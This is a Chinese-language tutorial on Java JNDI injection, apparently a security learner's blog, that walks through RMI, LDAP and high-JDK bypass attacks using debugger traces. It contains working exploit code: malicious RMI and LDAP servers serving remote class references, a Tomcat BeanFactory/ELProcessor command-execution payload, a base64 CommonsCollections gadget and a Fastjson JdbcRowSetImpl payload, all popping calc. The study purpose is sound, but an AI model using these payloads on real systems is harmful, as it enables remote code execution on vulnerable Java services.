一、JNDI 简介#
JNDI(Java Naming and Directory Interface,Java命名和目录接口) 是一个应用程序设计的 API,一种标准的 Java 命名系统接口。JNDI 提供统一的客户端 API,通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现,由管理者将 JNDI API 映射为特定的命名服务和目录系统,使得 Java 应用程序可以和这些命名服务和目录服务之间进行交互。

| 协议 | 作用 |
|---|
| LDAP | 轻量级目录访问协议,约定了 Client 与 Server 之间的信息交互格式、使用的端口号、认证方式等内容 |
| RMI | JAVA 远程方法协议,该协议用于远程调用应用程序编程接口,使客户机上运行的程序可以调用远程服务器上的对象 |
| DNS | 域名服务 |
| CORBA | 公共对象请求代理体系结构 |
二、JNDI 实现#
1
2
3
4
5
6
| import java.rmi.Remote;
import java.rmi.RemoteException;
public interface IRemoteObj extends Remote {
public String sayHello(String keywords) throws RemoteException;
}
|
1
2
3
4
5
6
7
8
9
10
11
12
| import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIServer {
public static void main(String[] args) throws RemoteException, AlreadyBoundException {
IRemoteObj remoteObj = new RemoteObjImpl();
Registry r = LocateRegistry.createRegistry(1099);
r.bind("remoteObj", remoteObj);
}
}
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
| import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
public class RemoteObjImpl extends UnicastRemoteObject implements IRemoteObj {
public RemoteObjImpl() throws RemoteException {
}
@Override
public String sayHello(String keywords) {
String upKeywords = keywords.toUpperCase();
System.out.println(upKeywords);
return upKeywords;
}
}
|
1
2
3
4
5
6
7
8
9
| import javax.naming.InitialContext;
public class JNDIRMIClient {
public static void main(String[] args) throws Exception{
InitialContext initialContext = new InitialContext();
IRemoteObj remoteObj = (IRemoteObj) initialContext.lookup("rmi://localhost:1099/remoteObj");
System.out.println(remoteObj.sayHello("hello"));
}
}
|
1
2
3
4
5
6
7
8
| import javax.naming.InitialContext;
public class JNDIRMIServer {
public static void main(String[] args) throws Exception{
InitialContext initialContext = new InitialContext();
initialContext.rebind("rmi://localhost:1099/remoteObj", new RemoteObjImpl());
}
}
|

三、JNDI 注入#
3.1 分析漏洞如何产生#
此处断点调试,跟进 lookup

InitialContext.lookup

GenericURLContext.lookup

RegistryContext.lookup

RegistryImpl_Stub.lookup 到这里就不用跟了,攻击方式和 RMI 中攻击注册中心一样,

RMI 中的攻击注册中心:https://www.yuque.com/taohuayuanpang/qxcvxi/rzl0dhpb5pnb8noh#dT3m5
3.2 Jndi + RMI#
复现:#
先写一个弹出计算器类并编译:


之后用 python 开一个 http 服务,监听 7777 端口

服务端:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
| import javax.naming.InitialContext;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class JNDIRMIServer {
public static void main(String[] args) throws Exception{
InitialContext initialContext = new InitialContext();
//initialContext.rebind("rmi://localhost:1099/remoteObj", new RemoteObjImpl());
// 在当前 JVM 中启动(或创建)一个 RMI registry,监听端口 1099
Registry registry = LocateRegistry.createRegistry(1099);
//将 JndiCalc 类的 JndiCalc 方法,放到 http://localhost:7777/
// 创建一个 Reference 对象(指向一个可通过工厂/远程位置获取的类)
Reference reference = new Reference("JndiCalc", "JndiCalc", "http://localhost:7777/");
// 将 Reference 绑定到 JNDI 命名空间中的 rmi URL 下
initialContext.rebind("rmi://localhost:1099/remoteObj", reference);
}
}
|

然后用客户端访问,
1
2
3
4
5
6
7
8
9
| import javax.naming.InitialContext;
public class JNDIRMIClient {
public static void main(String[] args) throws Exception{
InitialContext initialContext = new InitialContext();
IRemoteObj remoteObj = (IRemoteObj) initialContext.lookup("rmi://localhost:1099/remoteObj");
System.out.println(remoteObj.sayHello("hello"));
}
}
|
弹出计算器:

这个调用过程就是 3.1 中以及分析过的,实际上还是调用了 lookup 方法
调试:#
在客户端的 lookup 处断点
跟到 RegistryImpl_Stub 这里,

继续跟进

这里看到 var2 被赋值了 ,这里的 var2 是一个对象变量,Ref 将值传递给了它

步入 decodeObject ,

先做了一个简单的判断,判断是否为 ReferenceWrapper,也就是判断是否为 Reference 对象

继续跟进 getObjectInstance

这里使用强转将 refInfo 转为 Reference

继续往下走,getObjectFactoryBuilder() 这里获取到了恶意类


继续往下走,获取到 codebase,并且进行 helper.loadClass()


来到 newInstance() 后会调用 JndiCalc 类执行代码


3.2 Jndi + LDAP#
LDAP 简介#
Lightweight Directory Access Protocol (轻量级目录访问协议)是一种开放的、与供应商无关的行业标准应用协议, 用于通过互联网协议(IP) 网络访问和维护分布式目录信息服务。目录服务在开发内联网和互联网应用程序中发挥着重要作用,因为它允许在整个网络中共享有关用户、系统、网络、服务和应用程序的信息。例如,目录服务可以提供任何有组织的记录集,通常具有层次结构,例如公司电子邮件目录。同样,电话簿是包含地址和电话号码的用户列表。
LDAP 身份验证的基本流程:#
- 用户提供凭证:用户通过客户端应用(如数据库客户端)输入用户名和密码。
- 客户端与 LDAP 服务器通信:客户端通过 LDAP 协议与 LDAP 服务器通信,将用户名和密码发送给 LDAP 服务器。
- LDAP 服务器验证:LDAP 服务器检查用户名是否存在,并对密码进行验证。
- 返回验证结果:如果用户名和密码匹配,LDAP 服务器返回认证成功的信息,允许用户访问资源。否则,返回认证失败。
LDAP 支持多种认证方式,如:
- 匿名认证:不需要提供凭证,但访问权限有限。
- 简单认证:用户提供用户名和密码进行身份验证。
- SASL(简单认证和安全层)认证:用于更复杂的认证机制,提供更高的安全性。
LDAP 目录服务的常用结构#
LDAP 目录中的信息组织为树形结构,称为 目录信息树(DIT)。常见的条目包括用户、组织、部门等。条目使用 Distinguished Name (DN) 进行标识,DN 包括所有节点的完整路径。例如,一个用户条目的 DN 可能是:
uid=john,ou=users,dc=example,dc=com
其中:
uid=john 表示用户名为 john。ou=users 表示该条目属于“users”组织单元。dc=example,dc=com表示 LDAP 服务器的域名是 example.com。
漏洞复现:#
导入unboundid-ldapsdk 的依赖。
1
2
3
4
5
6
7
8
| <dependencies>
<dependency>
<groupId>com.unboundid</groupId>
<artifactId>unboundid-ldapsdk</artifactId>
<version>3.2.0</version>
<scope>test</scope>
</dependency>
</dependencies>
|
Ldap 服务端:#
代码搭建#
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
| import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
public class LdapServer {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main (String[] args) {
//此处的 url 表示返回给客户端的 codebaseURL (http://127.0.0.1:8000)
//格式为:http://127.0.0.1:port/#Refname;
//Refname 就是要加载的类,port 为 http 监听的端口
String url = "http://127.0.0.1:8000/#JndiCalc";
//ldap 服务监听的端口,客户端连接这个端口执行 lookup
int port = 1234;
try {
//配置 LDAP 监听器
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
//注册拦截器,该拦截器在收到 search 操作时会被调用,可以自定义返回的 entry ;正是实现“返回恶意 LDAP 引用”的地方。
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
/**
* */ public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
/**
* {@inheritDoc}
* * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
*/ @Override
//当 LDAP 客户端做 search/lookup 时触发
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
///组装返回的 LDAP 条目
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "Exploit");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference");
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
|
客户端:
1
2
3
4
5
6
7
8
9
10
11
| import javax.naming.InitialContext;
public class JNDILdapClient {
public static void main(String[] args) throws Exception{
InitialContext initialContext = new InitialContext();
// IRemoteObj remoteObj = (IRemoteObj) initialContext.lookup("ldap://localhost:1099/remoteObj");
IRemoteObj remoteObj = (IRemoteObj) initialContext.lookup("ldap://127.0.0.1:1234/EvilObject");
System.out.println(remoteObj.sayHello("hello"));
}
}
|
用 python 开一个服务监听 8000端口

接下来启动服务端,启动客户端,弹出计算器

使用 ApacheDirectoryStudio 搭建 LDAP 服务#
注意:系统的 java 环境使用 jdk 11,jdk 8 的版本都运行不了 LDAP 环境!
新建一个 LDAP 服务,

这样就搭建成功了:

注意一点就是,LDAP+Reference的技巧远程加载Factory类不受RMI+Reference中的 com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase等属性的限制,所以适用范围更广。但在JDK 8u191、7u201、6u211之后,com.sun.jndi.ldap.object.trustURLCodebase属性的默认值被设置为 false,对 LDAP Reference 远程工厂类的加载增加了限制。
所以,当JDK版本介于 8u191、7u201、6u211 与 6u141、7u131、8u121 之间时,我们就可以利用LDAP+Reference 的技巧来进行JNDI注入的利用。
因此,这种利用方式的前提条件就是目标环境的JDK版本在JDK8u191、7u201、6u211以下。
3.3 jndi 结合 CORBA#
一个简单的流程是:resolve_str 最终会调用到 StubFactoryFactoryStaticImpl.createStubFactory 去加载远程 class 并调用 newInstance 创建对象,其内部使用的 ClassLoader 是 RMIClassLoader,在反序列化 stub 的上下文中,默认不允许访问远程文件,因此这种方法在实际场景中比较少用。所以就不深入研究了。
3.4 绕过 jdk 高版本#
3.4.1 8u191 之前#
这里的版本为 jdk 8u121 < temp < 8u191
这个之间版本绕过方法便是上文所述的 ldap 的 jndi 漏洞
3.4.2 8u191 之后#
8u191 之后,在使用 URLClassLoader 加载器加载远程类时,通过添加 trustURLCodebase 的值是否为 true ,让我们无法加载 codebase,也就是无法进行 URLClassLoader 的攻击。
要想绕过就要找到这么一个类:
- 服务端本地 ClassPath 中存在恶意 Factory 类可被利用来作为 Reference Factory 进行攻击利用
- Factory 类必须实现
javax.naming.spi.ObjectFactory 接口,可利用该接口的 getObjectInstance() 方法
我们找到 org.apache.naming.factory.BeanFactory类,其满足上述条件并存在于 Tomcat8 依赖包中,应用广泛。该类的 getObjectInstance() 函数中会通过反射的方式实例化 Reference 所指向的任意 Bean Class(Bean Class 就类似于我们之前说的那个 CommonsBeanUtils 这种),并且会调用 setter 方法为所有的属性赋值。而该 Bean Class 的类名、属性、属性值,全都来自于 Reference 对象,均是攻击者可控的。
绕过一:利用本地恶意 Class#
环境:#
首先是 tomcat 环境,以下三个必须存在并且版本尽量选在 9.0.64 以前的,(9.0.64 以后的版本大多数漏洞都被修复了,不能利用)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
| <!-- https://mvnrepository.com/artifact/org.apache.tomcat/tomcat-el-api -->
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-el-api</artifactId>
<version>8.5.66</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.apache.tomcat/tomcat-jasper-el -->
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-jasper-el</artifactId>
<version>8.5.66</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.apache.tomcat/tomcat-catalina -->
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.5.66</version>
</dependency>
|
源码复现:#
参考:https://drun1baby.top/2022/07/28/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8BJNDI%E5%AD%A6%E4%B9%A0/#2-jdk-%E7%89%88%E6%9C%AC%E5%9C%A8-8u191-%E4%B9%8B%E5%90%8E%E7%9A%84%E7%BB%95%E8%BF%87%E6%96%B9%E5%BC%8F
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
| import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
// JNDI 高版本 jdk 绕过服务端
public class JNDIBypassHighJava {
public static void main(String[] args) throws Exception {
System.out.println("[*]Evil RMI Server is Listening on port: 1099");
Registry registry = LocateRegistry.createRegistry( 1099);
// 实例化Reference,指定目标类为javax.el.ELProcessor,工厂类为org.apache.naming.factory.BeanFactory
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "",
true,"org.apache.naming.factory.BeanFactory",null);
// 强制将'x'属性的setter从'setX'变为'eval', 详细逻辑见BeanFactory.getObjectInstance代码
ref.add(new StringRefAddr("forceString", "x=eval"));
// 利用表达式执行命令
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\")" +
".newInstance().getEngineByName(\"JavaScript\")" +
".eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")"));
System.out.println("[*]Evil command: calc");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("Object", referenceWrapper);
}
}
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
| import org.apache.naming.ResourceRef;
import javax.naming.InitialContext;
import javax.naming.StringRefAddr;
public class JNDIBypassHighJavaServerRebind {
public static void main(String[] args) throws Exception{
InitialContext initialContext = new InitialContext();
ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor",null,"","",
true,"org.apache.naming.factory.BeanFactory",null );
resourceRef.add(new StringRefAddr("forceString", "x=eval"));
resourceRef.add(new StringRefAddr("x","Runtime.getRuntime().exe('calc')" ));
initialContext.rebind("rmi://localhost:1099/remoteObj", resourceRef);
System.out.println("ServerRebind Success");
}
}
|
1
2
3
4
5
6
7
8
9
10
| import javax.naming.Context;
import javax.naming.InitialContext;
public class JNDIBypassHighJavaClient {
public static void main(String[] args) throws Exception {
String uri = "rmi://localhost:1099/Object";
Context context = new InitialContext();
context.lookup(uri);
}
}
|

分析:#
前面的流程还是进入 lookup 方法,到 RegistryContext 类的 decodeObject() 方法,这个方法当中调用了 getObjectInstance()。然后来到 getObjectFactoryFromReference 开始跟:

然后通过 loadClass 加载 org.apache.naming.factory.BeanFactory并赋值给 clas

将 clas 强转为 ObjectFactory 类型

然后经过一系列复杂的赋值,最终在 ref 的 className 中获取到了 “javax.el.ELProcessor” ,classFactory 获取到了"org.apache.naming.factory.BeanFactory"

getObjectInstance

到了 getObjectInstance 之后便是整理变量,准备执行 invoke 方法
ra 通过利用 Java 的脚本引擎(JavaScript )在运行时构造并调用 ProcessBuilder,最终在目标主机上执行系统命令 calc,就是获取 beanClass 即 javax.el.ELProcessor 类的 eval() 方法并和 x 属性

可以看到这里的一个 value 中封装的就是恶意代码

最终代码在 method.invoke 处,通过method.invoke()即反射调用的来执行
"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()")。弹出计算器。


绕过二:LDAP返回序列化数据,触发本地Target#
LDAP 服务端除了支持 JNDI Reference 这种利用方式外,还支持直接返回一个序列化的对象。如果 Java 对象的 javaSerializedData 属性值不为空,则客户端的obj.decodeObject() 方法就会对这个字段的内容进行反序列化。此时,如果服务端 ClassPath 中存在反序列化咯多功能利用 Gadget 如 CommonsCollections 库,那么就可以结合该 Gadget 实现反序列化漏洞攻击。
复现:#
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
| <dependencies>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.80</version>
</dependency>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
<!-- https://mvnrepository.com/artifact/com.unboundid/unboundid-ldapsdk -->
<dependency>
<groupId>com.unboundid</groupId>
<artifactId>unboundid-ldapsdk</artifactId>
<version>3.1.0</version>
<scope>compile</scope>
</dependency>
</dependencies>
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
| import com.unboundid.util.Base64;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import java.text.ParseException;
public class JNDIGadgetServer {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main (String[] args) {
String url = "http://vps:8000/#ExportObject";
int port = 1234;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
/**
* */ public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
/**
* {@inheritDoc}
* * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
*/ @Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "Exploit");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
// Payload1: 利用LDAP+Reference Factory
// e.addAttribute("javaCodeBase", cbstring);
// e.addAttribute("objectClass", "javaNamingReference");
// e.addAttribute("javaFactory", this.codebase.getRef());
// Payload2: 返回序列化Gadget
try {
e.addAttribute("javaSerializedData", Base64.decode("rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0AARjYWxjdAAEZXhlY3VxAH4AGwAAAAFxAH4AIHNxAH4AD3NyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eHg="));
} catch (ParseException exception) {
exception.printStackTrace();
}
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
| import com.alibaba.fastjson.JSON;
import javax.naming.Context;
import javax.naming.InitialContext;
public class JNDIGadgetClient {
public static void main(String[] args) throws Exception {
// lookup参数注入触发
Context context = new InitialContext();
context.lookup("ldap://localhost:1234/ExportObject");
// Fastjson反序列化JNDI注入Gadget触发
String payload ="{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1234/ExportObject\",\"autoCommit\":\"true\" }";
JSON.parse(payload);
}
}
|

分析:#
在这里下断点调试
首先还是经过 lookup 的方法调用

InitialContext.lookup

ldapURLContext.lookup

ldapURLContext.lookup

GenericURLContext.lookup

GenericURLContext.lookup

PartialCompositeContext.lookup.p_lookup

ComponentContext.p_lookup.c_lookup

LdapCtx.c_lookup

从上面是通过 p_lookup.c_lookup 进入到 decodeObject 中,这里是重点要关注的,
decodeObject

进入 decodeObject,先要进入一个 getURLClassLoader ,

getURLClassLoader 中的 trustURLCodebase 默认是 false ,不执行 newInstance 实例化,这里虽然已经获取到字节码了,只是不实例化就无法加载,也就无法命令执行。

接着往下走,来到了 deserializaObject ,
decodeObject.deserializaObject

而 deserializaObject 对象中恰好有 readObject ,字节码在此处被反序列化造成漏洞。
deserializaObject.readObject


参考文章:#
https://drun1baby.top/2022/07/28/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8BJNDI%E5%AD%A6%E4%B9%A0/#2-Jndi-%E7%BB%93%E5%90%88-ldap
http://101.36.122.13:4000/2025/03/08/JNDI%E4%B8%93%E9%A2%98/
https://www.bilibili.com/video/BV1ct4y1h79t